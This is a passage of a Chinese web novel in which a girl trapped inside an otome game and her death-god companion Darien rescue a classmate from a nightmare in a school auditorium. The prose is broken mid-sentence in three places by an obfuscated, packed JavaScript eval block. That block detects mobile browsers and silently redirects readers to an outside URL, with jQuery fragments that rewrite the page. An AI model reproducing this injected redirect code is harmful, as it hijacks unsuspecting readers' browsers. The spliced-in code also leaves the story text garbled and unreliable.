她看见了达里恩所说的清理，不是用剑去挥砍、击退敌人，而是火焰。柳莳萌想起来，在对付顽劣鬼时，也看到过它。 但她那时候没太在意，如今再看，她发现那是一种自己从未见过的黑色火焰。浑黑到焰芯微微发紫，似乎是冷的，周围冒着雾气，但火焰触碰到的地方都“融化”了，确切来说，是消失的无影无踪。 “你来了。” 达里恩没有回头，但他用的是肯定句，他知道她已经上来了。 “骗子，你欺骗了我。”柳莳萌快步地路过他直奔八楼，不满地哼唧，“是谁之前和我说没办法‘让死人死去’的？我看他们烧的挺干净的，连渣都没剩下，还吓我说他们一会儿还会出现。” 他愣了一下：“没骗你。” “我和其他的死神不太一样。”达里恩直挺挺地站立在拐角处，任由风将那宽大的斗篷吹散，与那如夜空般的发丝一齐融入风中。 “遇见你之前，我的地狱火并不稳定。” 话语里隐隐约约像是在说，她是一个对他而言非常重要的存在。 这可真是……“你太谦虚了。”柳莳萌才不吃这套呢，“我大人有大量，不追究你欺骗我的事情，你就告诉我：为什么要把这十个隐藏怪……哦不，是十个亡魂给烧没就成。” “因为他们该死。” 在此之前，她从没见过达里恩露出过这种表情。 ...... “原来他们和顽劣鬼是一伙的啊。他们专门在课间欺负坐在后排的同学，后面变本加厉，从去洗手间，再到去上体育课，甚至放学了都不放过别人。逼得人转学的转学，还……” 柳莳萌的手抚上围栏。 “从这上面跳了下去。” “——现在轮到我了。” 她深深地吸了一口气，向达里恩伸出手。 “你抱我跳下去。”柳莳萌绝不承认自己的小心脏在这一刻不合时宜地撞了一下心口。达里恩从头到脚都没有一个令她心仪的地方，她怎么可能会为了他而动心呢？ 达里恩当然不会让她自己一个人傻傻地跳下去摔死，但他没有说“是”，也没有说“好”，只是淡淡地勾起唇角。 “遵命。” 可恶！柳莳萌闭紧双眼。 就算他是一个莽夫，但此刻，他也是一个“端庄得体的莽夫”。她只是喜欢那份突如其来的优雅而已，心中最珍视的男人还是优雅迷人百分百的芳汀。 她可是坚定的单推人！ “喂！” “？”达里恩不解。他已经按照她所说的做了，就算有什么不满意的也不能更改了。 因为他已经站上围栏，迈出了那一步。这是一个过分亲密的姿势，达里恩的手托住她的腰身，而柳莳萌的手则是环在他的肩胛上，她的嘴唇离他的耳朵很近，很方便说话。 “你不需要为了我去改变什么，听到没有？”柳莳萌严肃道。 反正她通关以后就会和他永久告别了。当然，想说的理由并不止是这一点，“在我的角度看来，你并没有做错什么。” 他们在全速下落，而她竟然在看不见的情况下，还抽/出右手挠了挠他的下巴：“相反还挺值得表扬的，所以，你需要什么奖励吗？” 柳莳萌还以为这个铁憨憨会决然拒绝自己，她都能想象到那张面无表情的脸庞了。 “好。” “把刚刚没有给我的糖果给我吧。” 啊这……柳莳萌没有接话：这怎么和我想象中的走向不太一样啊？！ ...... “结果还是回到这里了。” 柳莳萌双手叉腰，义愤填膺地站在大礼堂门前，表情像是准备随时去英勇赴死的人。其实，离开教学楼，她大可以选择再去其他的地方搏一搏运气，反正只要能存活到活动剧情结束，就不会再有任何生命危险了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108906|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但直觉告诉她：这件事情没有想象的那么简单。 *** 【返校日第二节：与里弗的安慰没能打消“你”心底里的恐惧，“你”独自一人坐在西大礼堂角落伤心地哭泣。】 【在掉落下一根银针都能听见声响的地方，即便是小声的啜泣也非常清脆，突然，“你”听见了一阵陌生的哭泣声。】 【默默抬起头，“你”看见了同桌“汤小婳”坐在前排。】 【她歪着头，闭着眼睛靠坐在红丝绒软垫上，像是睡觉被梦魇住了，脸颊被泪水打湿，身体也止不住地剧烈颤抖。“你”推了汤小婳一下，她没有醒。】 【不行！“你”内心暗叫了一声，准备强行叫醒她。无论使用什么方法，她都要醒来！因为“你”知道，如果汤小婳还不醒来，那她就再也醒不过来了……】 *** 这一节的主要内容是“解救同窗”。 当然，玩家最后借助与死神同行的羁绊力量成功叫醒了同桌，柳莳萌也清楚这一点。为了不被剧情波及到，她决定选一个离汤小婳最远的对角线座位坐下，好好看戏。 “怎么不坐下？” 她扭头，发现达里恩还站着没动。本以为他是为了保护好她的安全，没想到他却伸手，指了指座位。 达里恩：“你坐在最外面，不让开，我怎么进去？”两人大眼瞪小眼，而他一副理直气壮的样子。 就这？柳莳萌踢了踢椅子：“你坐前面嘛！” “哦。” 说完，他就乖乖坐到前面一排去了。这时候，柳莳萌贼溜溜地凑过去，大咧咧地靠在前座椅背上：“怎么这么想让我让开啊？这都不像你了！难道说……” 她的狐狸眼狡黠一转，“你想和我坐一起啊？” “嗯。”达里恩点了点头。 “你、你真想和我坐一起啊？”柳莳萌向后一仰，有些手速无措，“为什么？” “因为……起雾了。” 达里恩压低兜帽，从这个角度，只能看见他抿成一线的唇峰：“我担心，如果我们不坐在一起，会在雾里走散。” ——我去！ “你怎么不早说——！”柳莳萌当即一拍椅子，原地蹦了起来。但是已经来不及了。 【遭遇活动主要角色“汤小婳的噩梦”。】 14. 末世校园加载中9 噩梦，竟然也可以摇身变成一个怪物，这谁能想得到呢？柳莳萌扶额。 她万万没有想到：这个热门乙女游戏的内部世界竟然能癫成这个鬼样子。 柳莳萌试图冷静下来，很快，她发现自己根本冷静不下来。因为这并不是心理层面带来的严重创伤，而是她能用肉眼看到，身体某项数值的下降。 她看向半空：“好嘛，随着活动剧情推进，又出现了一个新的面板。” 【能力值提示】 【活动角色“在校学生柳莳萌”理智值已下降0.01…】 【活动角色“在校学生柳莳萌”理智值已下降0.01…】 为了提醒柳莳萌身体上发生的异状，提示面板像发生故障了一样在她眼前疯狂乱跳。只要她还继续待在这片雾里，理智值就会以肉眼可见的速度下降，粗略估计，每秒会降低零点零一点。 这是一种直观的“数据伤害”。 虽然不多，却足够让她崩溃。 她从未如此强烈地感悟到“时间就是生命”的真理，柳莳萌攥紧手。好在死神还在，这个“万能金手指”并没有和她分开太远。 不带一丝犹豫，柳莳萌穿过云雾，快步走到达里恩面前，两手一抓，拽住他的斗篷不放，问道：“你的眼睛能看到什么？” 无论那个怪物是什么，她都要把它揪出来，解决掉！ “……” “我看到了一座山庄。” 达里恩不知道在烦恼些什么，他那双紫水晶一样的眼眸，变成了墨染般浓重的幽幽桑色。他叹了一口气，继续说道。 “还有一个穿着立领绿旗袍的女人。” “她手里抱着几幅卷轴，正由左至右，依次平摊开之后拼凑起来，能看出来是幅未完成的山居图。” “啊？就这？”柳莳萌有些诧异。 “山庄中的美女姐姐，这个噩梦一点儿也不吓人啊。” 达里恩又叹了一口气：这个外来者……她连死神能知道“旗袍”和“山居图”这种不该知道的事情都不感到诧异，关/注点竟然全在噩梦上，真是挫败。 她想起来，之前超市老板娘说过这里在建起来之前是座山庄，说不定这和西大礼堂的“前身”有关系。 “走吧，我不认识路，你带我去山庄上看看。” “不用带，我们现在就在山庄里。” “你说什么？”这句话把柳莳萌给吓住了。 放眼望去，这周围都是缭绕的云雾，白茫茫一片，哪里能看见山庄和一个穿着旗袍的女人？ “我、我怎么……什么都看不见？”柳莳萌揉了揉眼睛，她严重怀疑自己中邪了。“我现在担忧一下自己的性命还来得及么？” “该不会，我下一秒钟就要死了吧？” 如果她死了，任务失败，让一切回到初始状态，那是不是意味着：她所熟知的现在的达里恩也不复存在了？ “不会，你不会死。” 柳莳萌抬起头：“你怎么知道？” “这涉及到我们的机密工作。”达里恩顿了顿，“一般情况下，亡魂凭借生前品格会有不同种类的划分。” “两扇大门，上去天堂，下去地狱，善恶有别。恶魂死而复生，是从地狱流落至人间，会对人类造成不可估量的伤害，而善魂来自天堂，没有那么强的报复心和攻击欲/望，不会随意伤害人类。” “那不归死神管，天堂的看门人管这叫‘妄’。” “在人间的说法叫‘妄念’。” “难怪啊……”柳莳萌似乎明白了。所以才不降体力只降理智是吧？太坑不幸路过的n/p/c了吧！“咦？”她发现自己离达里恩的距离突然近了。 “你怎么……”她扑腾悬空的腿脚，才发现自己又被达里恩轻轻松松抱在了怀里。 “好哇你！仗着死神/的身高优势，力量优势，身份优势，吃我豆腐呢！”她不满地对他指指点点。 “我没有。”达里恩有些受伤，“我答应过你会保护你的。” “这是在信守承诺。” “哦，是吗？可你刚刚不是说了，善魂是不会伤害人类的吗？”柳莳萌拉开距离。 碍于那放大版的完美侧脸，自带星光特效的眉眼，精致到不可思议的下颌线，她不由得多看了几眼，动作迟缓了一两秒。 不得不说，虽然远看是一个莽夫，但近观也有可取之处。 尤其是那双眼睛，像是把每一刻晚霞都装在眼里，薄如蝉翼的眼睑之下，夜光流转，微弯眉目足以传情。 “不会，但现在情况比较特殊。” 达里恩将她带离那片云雾，在斜长着苔藓的青石阶处放下。 “我们在山庄里那幅未完成山居图的‘山庄’里。” 被非人容貌迷昏神智的柳莳萌瞬间清醒过来：“呃，你说什么……我在画里？” “嗯。而且这片地方还没有画完，如果落笔的魂将这片地方涂掉，普通人有可能会踩空掉下去。” 他环顾四周，“这段妄对这个亡魂来说很重要，所以，它的力量不比其他恶魂小。”他们被困在了画中。 想离开画中山庄，需要找到一个出口。 找出口？达里恩垂下头，将兴致缺缺的表情掩于斗篷之下。他从没做过这么麻烦的事情，只要他想，随时都能把这里的一切毁掉出去，可是…… 她刚才说了‘想去山庄上看看’。 几点突兀的落墨出现在柳莳萌脚旁，落笔的人手抖了，才会出现这样的痕迹。她揪紧心口，感受到了莫大的心乱，没由来的，异样的慌张。 “老师……” 头顶传来一阵哭声，由近及远，仿佛就在耳后。柳莳萌不敢抬头，一低头，却看见半边肩膀湿淋淋的。 校服上的水渍连同脚旁的墨迹缓缓晕染开，像是要将她拽进化不开的黑潭中。 【触发强制日常事件对话。】 【请抽取“成功”与“失败”。正面效果触发，理智＜50，“成功”概率大幅度提升。判定成功，可以对话。】 柳莳萌人麻了：啊？我那么多理智呢？怎么连五十都没有了？该不会要在这里变成一个生不如死的“大傻子”吧？！ 不对！这破烂机制！你倒是先告诉我该要和谁对话啊！ 万万没想到，坑爹的“强制对话”成为了柳莳萌离开画中山庄的出口，只有死神达里恩一个人被留在了里面。 *** “哎哟，我的头……” 柳莳萌感觉到一阵头晕目眩，视线模模糊糊什么都看不清楚。她的手向前伸，碰到了书柜一角，摸不出来是什么做的，但肯定是顶好的木头，光/滑细腻一点儿都不扎手。 “老师，你来了。” 听声音的确是个女鬼，而且还是个声音甜美的温柔女鬼。 “你叫我？”她维持着坐在地上的姿势，指了指自己，颤颤巍巍道。 “姐妹……搞错了，你其实不算是人；同学……啊不对，算身份你应该是大我很多届的前辈；女人……嘶，好像会展开一些乙游中的霸总剧情。” 柳莳萌双手合十：“我就一路过的，不是你的老师。” “这种话不能乱说的。” “咔哒”—— 毛笔轻放在笔架上，飘散出淡淡的松脂香。她作画总喜欢在最末涂上一层松脂，为的是不让画卷被露水打湿，破坏了原有的形状。 “客气而已，我们之间不是经常这样嘛。” “不说笑话了，你快点帮我把画收好，一会儿老师要看的。” “看画？”柳莳萌眨了眨眼睛，她发现自己渐渐能看清楚东西了，书柜不远处有一个书桌，和她说话的正是书桌后面的人。 那个穿着立领绿旗袍的人，竟然和汤小婳长得一模一样，就像是一个模子里刻出来的。 “老师是什么人？他为什么要看画？” “你傻掉了。”汤小婳叉起腰，“老师就是教我们画画的老师啊，不给他看给谁看。”她走近了，将柳莳萌从头到脚打量了一遍，“你穿的是什么？你又跑去哪里偷玩了？” 校服啊，只不过不是你这个年代的就是了。 柳莳萌百口莫辩，干脆沉默不语。 “也是，你就是不爱听劝的，不好好学画，总喜欢跟人到处乱跑。也就是老师人好才放过你，如果换成其他的老师，早拿小木条抽你了。”汤小婳唏嘘道。 “老师对我们很好吗？” “当然好了！”她靠在桌子上，手里玩弄着笔架，想东西想的出神，“老师把我们领回山庄里，不仅耐心教我们画画，而且从来不收钱。” “听说老师就只靠卖画赚钱，他一个人尚且过的艰难，还要额外分出精力来照顾我们。” 她歪头叹气：“我能做的也就只是帮他添几笔，也不知道能不能卖出去。” 柳莳萌大概明白那个老师是谁了，但汤小婳说了一个谎。 她注意到：画卷的落款署名并不是汤小婳，而是一个她熟悉到不能再熟悉的名字。 柳莳萌提起画卷有署名的一侧，问道：“教我们我们画画的老师，是不是叫‘伍子寒’啊？” “是呀。” 眼珠子轱辘转过一圈，柳莳萌想到了什么，她微笑道：“我还有一个小问题。” “这几幅画都是你画的，为什么要署老师的名字啊？” “因为、因为……”汤小婳瞬间捏紧裙边一角，肩膀紧绷成两个直角，支支吾吾，说不出话。 “哦我知道了，原来你喜欢老师啊。” “你！”她像是踩到电门了一样从桌子上弹起来，扬起手，“胡说什么！等老师回来了，你不许乱讲话！” “好好好。”柳莳萌捂嘴偷笑，这波算是她赚到了。“对了，你知不知道我们老师有没有什么难言之隐，就是……他最近有没有正在烦恼的事情？” “没有吧。” 活动的特殊任务就是“拯救伍子寒”，可他既然好好的，又怎么会沦落到需要别人拯救的地步呢。柳莳萌想不明白。还没等她想明白，老师就从外面回来了。 ...... 他一回来，外面就下了一场倾盆大雨，半山腰雾蒙蒙的云天将石阶笼罩，像是要将他困住，再也无法离开这里去到别处。 柳莳萌本能地皱了一下眉。 又是这种心乱心慌的感觉，没完没了了。 奇怪了，汤小婳她不是喜欢老师的吗？可为什么伍子寒回来了，她还端坐在书桌后面一动不动的，也不起来迎接。 “老师，你回来了。”汤小婳勾动嘴角，扯出一抹灿烂的微笑，“快来看看这幅画如何，我有没有比上次进步一些。” 伍子寒听了并没有动，只是在原地定定地看着她，圆润的眼中有一股子湿漉漉的坚毅。 他开口，语气里满是无奈：“我上一次和你说过，你已经学成，下次便不必来了。” “可我还是来了。” “老师，我想帮你。” 她没有握笔，卷面也已经涂过了松脂，不可能再添新迹，可画纸里还是多了落墨，偏偏在署名的最后一笔。柳莳萌心中一惊，看来汤小婳远没有看上去的这么简单。 “谢谢，不过你不用帮我。” “山庄我已经托人卖了，这里以后会建起一座新的学校，会有更多的老师教你。如果你那时还有心学，可以再来。” 柳莳萌在一旁左瞧瞧，右看看：伍子寒一直刻意移开视线，不与汤小婳对视，反观后者，眼神真像是要把他给烧穿了。 “不要！我不要！” “那我对你来说算什么？” “如果我留不住山庄，留不住你，我们之间什么都没有，那我……还不如和你一起去死！” 从始至终，汤小婳的眼睛都没有过离开她的画。看来，那幅画就是噩梦的关键。 老师、学生、画卷、爱、恨联系在了一起……画卷中的山庄是她与老师相识的起/点，而这里也是他们分开的终点。 像极了美梦与噩梦，伴随着甜美的酣音，与丑陋的梦魇。一体两面，是她生前深爱某人，又痛恨某人，恨不得杀死那个人的“证明”。打从心底里不断涌现出恶念的那一刻起，就再也无法回头了。 哪怕汤小婳最后没有成功，可在后世的一场噩梦里，前世的她完全能够实现当年想做却没有做到的事情。 即便噩梦的发展不影响活动剧情的发展，两只鬼互相伤害也不会危及到柳莳萌的性命，可她的特殊任务会失败，特殊奖励签到系统也就拿不到了。 “唉。” 她还以为“拯救伍子寒”是从什么狠厉怨鬼手里英雄救美呢，没想到……居然只是挽救前世一腔痴心错付的失足女鬼。 “停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108907|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” “都消消气，师生一场，用不着为了这种事情生气啊。” 就在两个人快要闹翻脸的时候，柳莳萌站了出来。 拜托！既没有性命危险，还不会受到体力限//制，不用时刻警惕不知道什么时候冒出来的可怕鬼脸，这是柳莳萌目前为止遇到的最好说话的鬼了。 郎才女貌可谓十分养眼，只是可惜并非天生一对。 既然伍子寒身上有本吊着他性命的“鸳鸯谱”，那她只能舍身乱点，作陪一曲了。 “听我一句劝，你们不适合，因为这段姻缘沾了三种忌讳。”她将四方书桌当作桌板，敲了敲。 ——柳家小课堂，开讲！ “其一，男方为老师女方为学生，此为关系忌讳；其二，男方断情女方超爱，情深缘浅，此为理念忌讳；其三，男方无房无车空有其表女方无权无势风吹就倒，婚后生活必定困难重重，此为最大忌讳——没有钱又没有尊严的婚姻是不会幸福的。” 柳莳萌深吸一口气，双目一睁，眼角闪过锐利的光：虚构世界最怕谈论现实了，看我怎么用“结婚劝退金句语录”点醒你！ “你、你这……” “难道是在为我考虑么？”汤小婳止住了哭声，但眼泪还在往下掉。 “那当然了！我要救你，肯定要真心为你考虑一番的。老师和像我一样的男同学可就大不相同了。” 救人向来是不分什么你我他她它的。柳莳萌握住她的手，心想：女鬼小姐姐，救老师就是救你，救你就是救我，多希望你能懂，这三者没有什么区别的！ “你想啊，我们都是学生，没有关系忌讳，正值热烈相恋的青春年华也没有理念忌讳，不仅如此，都未到谈婚论嫁的地步，当然有时间好好了解彼此。无论是婚或是不婚，都还有转圜余地。” “你……” 汤小婳的脸羞红一片：“你是在向我告白吗？” “啊？”柳莳萌被她问的一愣一愣的，“我的意思是，像我一样的‘男同学’。” 搞清楚！我是女的！女的！她眨了眨眼，希望汤小婳能看懂她的解释。 “你是男同学啊。” 汤小婳捂住脸。 柳莳萌：“啊？” 她感觉自己的理智值已经归零了。 “虽然我们在山庄一直以姐妹相称，但我知道，你是为了照顾我的感受。我是老师收的第一个女学生，也是唯一一个女学生。” “老师收我之前说过自己从不收女子，所以，除了我以外，其他的学生都是男子。” “你容我考虑一下……” 柳莳萌：？？？ 原来“能够发生一切不合理的事情”竟然还包括“性别转换”么？不过更离谱的事情都已经发生了，好像这种事情也不算什么。 面板告知过她不能太过依赖已知信息，柳莳萌不信邪，又调出了身份信息面板仔细查看。 里面确实没有说明她是女性的字眼，这意味着：无论身份是男性还是女性，在文字逻辑里都是合理的。 让汤小婳考虑不出结果，等时间一到，剧情自动推进，小怪消失，伍子寒就自然而然被解救下来了。 “可是哪个玩家能够想到自己要去攻略n/pc啊！还是个女鬼！”这次算是她运气好，误打误撞完成了特殊任务，柳莳萌挠了挠头。 看来下次在乱点鸳鸯谱之前，有必要向别人好好确认一下//身份了。 *** 【——谢谢“你”，对不起，我只不过是嫉妒“你”能和爱“你”的人能够相拥在一起，而我再也无法名正言顺地拥抱到那个人了。】 【好痛，好痛啊，我只不过是……想要被爱而已。】 【附身在汤小婳身上的鬼魂被与里弗的镰刀斩了个粉碎，“你”静静地注视着那道身影在空中变淡，彻底消散。】 【那个曾经将心爱之人杀死的人，还想杀死“你”的鬼用她的哭泣声诅咒了圣尼塔学院的大礼堂。在幡然醒悟后，她带着无望的爱与无尽的恨永远离开了这所校园。】 【同桌汤小婳在“你”的陪伴下悠悠转醒，她似乎有一句话想要告诉你……】 【返校日第二节，“黎明哭声”，终。】 *** 【特殊任务已完成，现在为死神代理发放特殊任务奖励。】 【叮——签到系统已激活。】 【下面是签到系统的使用说明：与抽卡系统的使用方法相同，死神代理可以通过签到，获得对自己有所帮助的“角色专属道具”。一天可签到1次，24小时后重置可签到次数，以角色所处剧情时间为标准。】 【所获得道具均为一次性使用物品，请妥善使用。】 “妥善使用个球啊！命都没了还怎么用，我现在就要签到，签到完就用！”柳莳萌在心里大声默念。 【已获得签到道具“核桃红枣牛奶大瓶装”】 “……”她沉默了。 【道具介绍：圣尼塔学院在校学生的便携式补品，新包装大容量800ml，喝完以后吃嘛嘛香，身体倍儿棒，作业全会考试全对，门门满分精力充沛。】 “苍天啊！这是什么烂手气！你觉得我现在还缺喝的吗！” 柳莳萌看着包裹里的“一箱瓶装矿泉水”陷入沉思。 【道具效果：使用后体力值立刻补满且无法被消耗。】 “诶？”她两眼放光。 “错怪你了，这个效果还怪好的嘞！”柳莳萌拧开瓶盖，一大口全数喝下，甚至连瓶盖里面的一点都没剩下。“这下就不用担心羸弱体质了！” “但是，怎么会突然给我这么好的道具呢？” 这时，柳莳萌感受到地板震动了一下。像是应验了那句“大战之前必有补给”，她的内心十分惊恐：糟糕！西大礼堂该不会要塌了吧？！ 柳莳萌向外跑去，好在她的位置离大门很近，不过几步路的距离。 “你去哪了？” 听见熟悉的声音，她抬头向上看，发现天花板已经被掀翻了。“你在干什么！” 达里恩单手撩起斗篷的兜帽，略微歪头，飘在空中简单确认了她的安全：“我？我一直在找你。” “找你很久都没有找到，干脆把这个地方给掀了。” 柳莳萌：啊？说好的保护我呢？对我来说最危险的那个人就是你吧！！！ 15. 末世校园加载中10 马丁靴清脆的落地声，达里恩降落在了柳莳萌面前，在她的勒令下，他把西大礼堂的屋顶复原好了才敢下来。 他轻松拍掉手中的灰尘，笑道：“虽然无法修复建筑物的裂痕，但从表面上看，和原来大差不差吧，还是一样好看。” 的确，柳莳萌半托下巴端详。 她已经看不出来这个地方的天花板曾经被掀翻过了，除了那道突兀绵长的裂缝。 “不过，保持美观难道是重点吗？！”她指向汤小婳躺着的前排，“你差点间接害死了一个无辜的人，那才是重点吧！” “她……”达里恩的视线略过头发顶，望向她的后方，汤小婳正在跟随剧情推进的节奏悠悠醒来。 “很重要吗？” 达里恩有些疑惑，那样子像是在说“你明明就知道她不会死，在这个地方，她不可能是一个正常活着的人类”。 “那当然重要了！她可是玩家的同桌啊……” 柳莳萌没有意识到自己说漏了嘴。因为达里恩没有反应，也没有异常，只是一如既往地安静听着，薄唇微张，无言地重复了一句：玩家？ ...... 其实，他在画中都看见了。 柳莳萌不知道用了什么方法找到出口，出现在了山庄之中，更加让他意向不到的是：一个曾经面对鬼魂胆怯无比的人，居然会站出来保护另外一个鬼魂。 她图什么？ 是图他那与她相似的皮肤，还是图那双黑不溜秋的眼珠子，再不然是图那张老气横秋的脸，要什么他没有。 达里恩：这好像还真没有…… “难道，图他只是一个普通人？” “真有意思。”一个响指，磕碰在一起的指头迸发出第一缕火苗。 他回想起柳莳萌捏住有署名的那半边纸面时那微微的笑。思考良久，达里恩满脑子里只剩下了一个问题：她是不是喜欢那种类型的人？ 阖上眼，转瞬之间，周身火光冲天。 不知怎么，他突然间有点……不爽。 当周围的一切都被火焰燃烧殆尽，他就这样从画中挣脱了出来。准确来说，是他一把火把噩梦给烧没了。但很快达里恩清醒了，他大喊了一句“糟糕”：外来者还被困在里面！ 虽然心里想着她或许不会有事，但他还是开始急切地在原地寻找。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108908|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所能想到最不幸的消息是——她可能只剩下一捧灰了。 ...... “现在又多了一个。” “你嘀嘀咕咕在说什么呢？”柳莳萌扭头问。“没什么。”达里恩没有直视她的眼睛，他不敢告诉她：那是一个能让他一不小心就“失控”的东西。 “可能……” 达里恩坦言道：“我需要去学习一下如何控制‘不爽’这种感情了。” 他垂下头，潦草的斗篷半遮盖住脸，没人能够看清楚他脸上的表情。像一只露怯的领头狼，在人类面前灰溜溜地夹起黑色的大尾巴。 柳莳萌根本听不明白他在说些什么。 但她连蒙带猜能大概猜想出来，无非是自己无意间与n/pc表白，激活了乙游角色的“雄竞”技能，开始无差别横吃飞醋了呗。 “这个啊……”她拍了拍他的肩膀，好心安慰道，“其实这是很正常的，不用去刻意压抑你自己的天性。” “哦？”达里恩眼睛一亮。 “那我可以烧死玩家吗？” 柳莳萌：“……你说什么？” 是谁杀死了谁？原来是我杀死了我！ 16. 末世校园加载中11 “……谢谢你们。” 汤小婳从柳莳萌手中接过一包压缩饼干，吃完后，她才稍稍冷静下来。“今天早上八点钟要召开动员大会，我来西大礼堂搬讲台和桌椅，忙得连早饭都没来得及吃。” 说完，她咂吧了一下嘴，觉得口干，又向柳莳萌多讨要了一瓶水。她没多想就给了，柳莳萌心想：反正包裹里那一大箱，三天她一个人喝不完。 见柳莳萌真的给了，汤小婳反而伸手回绝了她的好意：“这个，你还是自己留着吧。” 她竖起四根手指，一板一眼道：“动员大会要开整整四个小时呢。” “……” 这该不会是什么“关键信息”吧？柳莳萌皱动了一下眉头。 “因为我们学院的校长是一个很会能言善辩的人。” “虽然我不讨厌他啦，但是听久了耳朵会很痛，感觉耳朵里能流出血……”汤小婳捂住耳朵，佯装痛苦的样子，“听说校长是严重的表演型人格，被拆穿后会当场暴走。” 这真的不是在说明什么“特殊技能”吗？！ “为什么要告诉我这些？” 柳莳萌看向正上方。 活动面板在半空中若隐若现，剧情里面并没有提及【校长】，而且，汤小婳在被玩家解救出来之后并没有恢复正常，而是“黑化”了。返校日第三节的剧情内容是“妒忌”，关卡小怪正是【被解救的同桌汤小婳】。 身为离玩家最近的同窗，她一直羡慕玩家拥有太多自己所没有的东西，而这种感情早已变质。不见天日的阴暗，被轻而易举地勾出来，滋长得更加疯狂。 将她变成怪物的，正是穴居在教学楼里的那个“怪东西”。 “为什么呢？”汤小婳面露苦色，她双手一展，缓缓环抱住自己的手臂，“可能……因为我觉得自己似乎在哪里见过你吧。” “你身上的气息非常非常令人怀念。” 她展露出一个灿烂且温暖的微笑，但这让柳莳萌不寒而栗。 她不自觉地后退一步，似乎撞到了什么东西。那个东西静悄悄地挽住了她的手，毛刺刺的触感，却凉的像冰块一样。 柳莳萌愣住了。 “诶，你身旁的人应该不是‘人类’吧？” 汤小婳的眼白转变成了深黑色，森然鬼气从裙下飞出，汇聚在掌心，变成了一捆细如发丝的长针：“我能感受到他很危险哦。” “无论你是什么，我都不喜欢你身上散发出的气息。” 她转动手腕，银针轻飘飘地飞入衣袖，在准备掷出的那一瞬间，达里恩已经来到了她的面前。眼看一神一鬼身上的低气压就要对峙上，战斗一触即发。 “怎么回事？”柳莳萌心中一惊。 换装系统的黑斗篷不是能够掩盖住达里恩的面容吗，可为什么他是死神/的事情还是暴露了？ 【正在为死神代理打开死神信息面板…】 点开战斗系统，柳莳萌这时候才看清达里恩的基础数值，第一行那个猩红的“9999+体力值”深深地刺痛了她的双眼。再一细看—— 【附加状态：妒忌】 柳莳萌：啊？这不是本节剧情吗？怎么跑到他身上去了？ 她差点以为自己看错了。 【详细效果：这是由于死神代理在特定剧情内发生不正当行为引发的一个负面效果哦^_^】 【期间死神“达里恩”的战斗能力值将会发生2~5倍级的随机变化，隐匿状态失效，关卡主要角色在3公里范围内将全部进入“警觉”状态。虽然本人没有任何感觉，但是，是一种“谁碰谁死”的超危险级状态哦^_^】 【此状态无法使用道具解除，持续时间1分钟】 “什么……？！” 她还没搞清楚状况，但看到达里恩走近，就快要抓住汤小婳的手腕，柳莳萌当即扑过去从身后抱住了他，制止了他的下一步动作：“等等，你等一下！” 达里恩一顿，扭头道：“你要保护她？” 浓重的黑暗底下，他微微睁大的眼睛格外明亮，眸光迅速闪过，有如一道霹雳划过，便很快黯淡下来，一副认真思考过后无法理解的样子。 “不是的！”柳莳萌矢口否认。 玩乙女游戏的都知道可攻略角色的妒忌意味着什么，要是她还把无关的其他角色牵扯进来，那就是在作大死！ 【状态持续时间：55秒】 柳莳萌向上瞟了一眼面板，确认时间，在达里恩眼中，却是在小心翼翼地看他的脸色。 ——她在说谎。 达里恩没有放下手，但是也不那么着急，不急不缓的，他转问道：“那不然是什么？” 职责是一方面，另一方面，他并不把汤小婳放在眼里。只要她做出任何会伤害到柳莳萌的举动，他就会立刻送她上路。 【状态持续时间：56秒】 柳莳萌：？ 怪了，怎么还带往上增加的啊！难道是状态恶化了吗？ 想到这，她搂的更紧了。像要用蛮力把达里恩直接带到另一边，但他近一米九的大个子纹丝不动，根本是徒劳。 神奇的是，这时候时间开始下降了。 “哦！我不是想保护她，也不是不想保护她。”柳莳萌喘了一口气，“我的意思是……就算她有问题，可是，她也是我的同班同学啊。” “真是羡慕你，不用去学校上课。” 她笑眯眯地捧住达里恩的脸，固定，像揉面团一样捏他的脸颊，凑近说道：“总要关照一下的嘛，不然日/后怎么一起愉快上学。” 【状态持续时间：30秒】 “我知道你不会伤害无辜的鬼怪……她刚刚是在帮我。” 【状态持续时间：31秒】 咳，说错话了。 柳莳萌拍了一下自己的嘴。 呸呸呸！哪壶不开提哪壶，自己这张嘴真笨啊，明知山有虎偏向虎山行！神仙就在旁边还能去求谁，柳莳萌内心的小人长吁短叹：只能“自救”了。 她反握住达里恩的手：“哦，其实她帮的也不算太多，可你不一样！” “只要我们维持这样的关系，就算是在帮我了，而且是帮的最多的那一个！”她竖起大拇指。 “这样的关系？” “我们是什么关系？”达里恩淡淡问。 最近他一直在思考这件事情。死神从不会亲近人类，可他却三番五次地被她牵着鼻子走，达里恩心里疑惑了很久：怎么会这样呢？我又不是一只听话的狗。 【状态持续时间：10秒】 